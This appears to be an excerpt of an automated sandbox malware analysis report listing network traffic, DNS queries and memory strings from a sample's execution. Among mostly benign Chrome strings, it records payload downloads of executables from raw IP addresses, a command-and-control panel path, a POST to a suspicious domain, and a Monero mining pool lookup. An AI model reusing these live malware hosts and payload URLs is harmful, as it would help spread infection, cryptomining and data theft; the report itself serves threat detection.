Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000024.00000003.3039850507.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3039953532.0000581800DA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3040322237.0000581800310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000024.00000003.3039850507.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3039953532.0000581800DA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3040322237.0000581800310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000024.00000002.3101260857.00005818002D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: aXoOEZERyLjmcASXxTaZGLMxwNjgk.aXoOEZERyLjmcASXxTaZGLMxwNjgk
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: EaUMrTLEnhJoi.EaUMrTLEnhJoi
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: xmr-eu2.nanopool.org
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: 779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php%
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000006.00000003.2632123942.0000000001414000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6856384433/fMb18eF.exe
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/6856384433/fMb18eF.exeXYZ0123456789
Source: skotes.exe, 00000006.00000003.2632197505.0000000001401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: chrome.exe, 00000024.00000002.3102018176.0000581800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106809731.0000581800AC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102569851.00005818005DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000024.00000002.3102018176.0000581800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000024.00000002.3102018176.0000581800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881http://anglebug.com/5881
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000024.00000003.3026852595.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107315372.0000581800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035454290.00005818003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
